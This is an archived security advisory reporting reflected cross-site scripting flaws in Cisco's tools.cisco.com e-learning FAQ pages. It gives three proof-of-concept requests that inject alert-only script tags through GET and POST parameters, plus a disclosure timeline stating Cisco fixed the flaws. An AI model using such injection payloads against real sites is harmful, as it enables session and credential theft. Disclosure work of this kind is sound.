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tools.cisco.com Cross Site Scripting

tools.cisco.com Cross Site Scripting
Posted Oct 31, 2015
Authored by Yann CAM

Cisco's tools site suffered from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
systems | cisco
SHA-256 | 1f9fd61e7de68f122c09b61c8fb1d95447232133a9e9981cbe4adf441844fcdc

tools.cisco.com Cross Site Scripting

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######################################################################
# Exploit Title: Cisco.com sub-domain Reflected XSS (RXSS)
# Date: 31/10/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.cisco.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: cisco.com sub-domains
######################################################################

Cisco description :
======================================================================

Cisco Systems, Inc. is an American multinational technology company headquartered in San Jose, California, that designs, manufactures, and sells networking equipment.
The stock was added to the Dow Jones Industrial Average on June 8, 2009, and is also included in the S&P 500 Index, the Russell 1000 Index, NASDAQ-100 Index and the
Russell 1000 Growth Stock Index.

Cisco is the worldwide leader in networking for the Internet. 85 percent of Internet traffic travel across Cisco's systems, and it supports, manages and operates
business systems for various and major third parties.


Vulnerability description :
======================================================================
Many Cross-Site Scripting vulnerabilities are identified in Cisco sub-domain.
R-XSS are available in the tools.cisco.com sub-domain once authenticated.

Through these vulnerabilities, an attacker could tamper with page rendering, redirect victims to fake Juniper portals, or capture Cisco's users credentials such cookies.
These vulnerable parameters are not properly sanitized before being used in pages.


Proof of Concept 1 - tools.cisco.com - RXSS :
======================================================================

A non-persistent XSS (RXSS) in "list" GET param is available in the Elearning environment of the tools.cisco.com sub-domain.
Tested on Firefox 33.0.3.

PoC:

http://tools.cisco.com/elearning/faqnet/faq/jsp/faqcontroller.jsp?action=faqList&type=0:1&module=FAQ&appid=12570&rootcatid=12570&resetfaq=1"><script>alert(/Reflected XSS - Yann CAM @ASAfety/);</script><input type="hidden&list=all&type=0:1>


Proof of Concept 2 - tools.cisco.com - RXSS :
======================================================================

A non-persistent XSS (RXSS) in "list" GET param is available in the Elearning environment of the tools.cisco.com sub-domain.
Tested on Firefox 33.0.3.

PoC:

http://tools.cisco.com/elearning/faqnet/faq/jsp/faqcontroller.jsp?action=faqList&type=0:1&module=FAQ&appid=12570&rootcatid=12570&resetfaq=1&list=all"><script>alert(/Reflected XSS - Yann CAM @ASAfety/);</script><input type="hidden&type=0:1>


Proof of Concept 3 - tools.cisco.com - RXSS :
======================================================================

A non-persistent XSS (RXSS) in "keyword" POST param is available in the Elearning environment of the tools.cisco.com sub-domain.
Tested on Firefox 33.0.3.

PoC:

http://tools.cisco.com/elearning/faqnet/faq/jsp/faqcontroller.jsp
POST DATA :
action=faqAdvanceSearch&appid=12570&module=FAQ&targetID=12570&resetfaq=1&list=all&type=0%3A1&keyword="><script>alert(/Reflected XSS - Yann CAM @ASAfety/);</script><input type="hidden" value="&Submit=Search


Screenshots :
======================================================================

- http://www.asafety.fr/data/20141110-RXSS_Cisco_asafety_001.png
- http://www.asafety.fr/data/20141110-RXSS_Cisco_asafety_002.png
- http://www.asafety.fr/data/20141110-RXSS_Cisco_asafety_003.png
- http://www.asafety.fr/data/20141110-RXSS_Cisco_asafety_004.png
- http://www.asafety.fr/data/20141110-RXSS_Cisco_asafety_005.png


Solution:
======================================================================

Fixed by Cisco Security Team.


Additional resources :
======================================================================

- https://www.cisco.com
- http://tools.cisco.com
- http://www.asafety.fr/
- http://www.synetis.com


Report timeline :
======================================================================

2014-11-10 : Cisco PSIRT Team alerted with details and PoC.
2014-11-10 : Cisco PSIRT Team response with thanks and forward the notification to the CSIRT team.
2014-11-12 : Cisco CSIRT Team response with thanks and starts inspection.
2015-03-30 : Vulnerabilities aren't fixed yet. 2nd email to get a status.
2015-03-31 : Cisco CSIRT Team response with an update status.
2015-08-20 : Vulnerabilities fixed.
2015-10-31 : Public article published.


Credits :
======================================================================

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8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
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